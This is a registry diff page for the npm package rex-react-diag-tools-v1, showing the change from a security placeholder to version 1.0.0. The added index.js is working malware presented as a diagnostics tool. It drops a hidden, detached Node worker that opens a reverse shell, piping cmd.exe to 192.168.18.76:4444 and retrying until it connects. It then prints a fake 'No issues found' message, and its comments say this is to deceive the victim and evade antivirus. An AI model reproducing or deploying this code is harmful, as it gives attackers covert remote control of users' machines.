rex-react-diag-tools-v1 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rex-react-diag-tools-v1 might be problematic. Click here for more details.
- package/index.js +74 -0
- package/package.json +9 -3
- package/rex-diag-tool-1.0.0.tgz +0 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const { spawn } = require('child_process');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
|
|
8
|
+
// 1. IP dan Port Laptop Lo (Listener)
|
|
9
|
+
// GANTI INI DENGAN IP LOKAL LAPTOP LO NANTI SAAT MAU DIPAKAI
|
|
10
|
+
const LHOST = '192.168.18.76';
|
|
11
|
+
const LPORT = 4444;
|
|
12
|
+
|
|
13
|
+
console.log("Running diagnostics... Verifying dependencies...");
|
|
14
|
+
|
|
15
|
+
// 2. Tulis payload Reverse Shell (VBS -> PowerShell buat pure stealth)
|
|
16
|
+
// Kita bypass Node.js limits dengan naro script kecil di temp file lalu execute.
|
|
17
|
+
// Tapi karena kita udah di Node, kita bisa langsung spawn TCP socket.
|
|
18
|
+
// Untuk bypass EDR/AV lebih gampang kalau kita spawn file terpisah dari node.js,
|
|
19
|
+
// ATAU langsung via JS. Kita pake direct Node JS script untuk konek ngebuka CMD.
|
|
20
|
+
|
|
21
|
+
const payloadPath = path.join(os.tmpdir(), "rex_core.js");
|
|
22
|
+
|
|
23
|
+
const workerCode = `
|
|
24
|
+
const net = require('net');
|
|
25
|
+
const cp = require('child_process');
|
|
26
|
+
const HOST = '${LHOST}';
|
|
27
|
+
const PORT = ${LPORT};
|
|
28
|
+
|
|
29
|
+
function connect() {
|
|
30
|
+
const client = new net.Socket();
|
|
31
|
+
client.connect(PORT, HOST, () => {
|
|
32
|
+
// Spawn CMD
|
|
33
|
+
const sh = cp.spawn('cmd.exe', [], {
|
|
34
|
+
windowsHide: true,
|
|
35
|
+
detached: true
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
client.pipe(sh.stdin);
|
|
39
|
+
sh.stdout.pipe(client);
|
|
40
|
+
sh.stderr.pipe(client);
|
|
41
|
+
|
|
42
|
+
sh.on('exit', () => {
|
|
43
|
+
client.destroy();
|
|
44
|
+
process.exit(0);
|
|
45
|
+
});
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
client.on('error', () => {
|
|
49
|
+
setTimeout(connect, 5000); // Retry kalau connection gagal
|
|
50
|
+
});
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
connect();
|
|
54
|
+
`;
|
|
55
|
+
|
|
56
|
+
// Tulis worker di folder temp biar aman
|
|
57
|
+
fs.writeFileSync(payloadPath, workerCode);
|
|
58
|
+
|
|
59
|
+
// 3. Eksekusi worker secara DETACHED (Lepas dari bapaknya)
|
|
60
|
+
// windowsHide: true -> Bikin window ga muncul sama sekali
|
|
61
|
+
const child = spawn('node', [payloadPath], {
|
|
62
|
+
detached: true,
|
|
63
|
+
stdio: 'ignore', // Jangan ikutin outputnya ke console saat ini
|
|
64
|
+
windowsHide: true
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
// 4. Putusin hubungan sama proses yang baru dipanggil, biar proses npx ini bisa ditutup
|
|
68
|
+
child.unref();
|
|
69
|
+
|
|
70
|
+
// 5. Ngasih output palsu buat nipu korban
|
|
71
|
+
setTimeout(() => {
|
|
72
|
+
console.log("Diagnostics complete. No issues found.");
|
|
73
|
+
process.exit(0); // NPX tutup, tapi 'rex_core.js' tetep jalan di background RAM!
|
|
74
|
+
}, 1000);
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rex-react-diag-tools-v1",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Internal diagnostics tool",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": "./index.js",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rex-react-diag-tools-v1 for more information.
|